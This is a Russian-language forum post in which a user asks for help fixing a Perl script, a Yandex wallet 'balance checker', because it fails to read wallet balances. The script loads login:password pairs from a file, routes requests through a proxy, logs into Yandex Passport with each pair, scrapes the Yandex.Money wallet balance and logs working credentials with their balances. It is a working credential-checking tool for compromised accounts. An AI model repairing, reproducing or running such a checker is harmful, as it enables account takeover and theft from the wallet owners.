Вот есть такой скриптик на перле яндек чекер баланса помогите подправить дело в том что он не определяет баланс на кошельке #!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; ###################### #writen#by#popkorn#### ###################### $url['0'] = 'https://passport.yandex.ru/passport?mode=auth&retpath=http://mail.yandex.ru'; $url['1'] = 'http://money.yandex.ru/'; $proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line my $ua = LWP::UserAgent->new; my $cookie_jar = HTTP::Cookies->new; $ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))'); push @{ $ua->requests_redirectable }, 'POST'; if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){ $ua->proxy('http', "http://$proxy/"); }; open(ACCS, "<accs.txt"); open(LOG, ">logs.txt"); @accs = <ACCS>; close (ACCS); foreach (@accs){ ($login, $pass) = split(':',$_); $pass =~ s/ |\n//; $ua->cookie_jar($cookie_jar); $ua->post( $url['0'], [login => $login, passwd => $pass]); my $response = $ua->post($url['1']); $content = $response->content; $sum = 'koshel\'ka net'; while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1}; print LOG "$login:$pass:$sum\n"; print "$login:$pass:$sum\n"; $sum = '0 =('; $cookie_jar->clear_temporary_cookies; } close (LOG);
на авторизацию вот это надо написать https://passport.yandex.ru/passport?mode=auth&retpath=http://mail.yandex.ru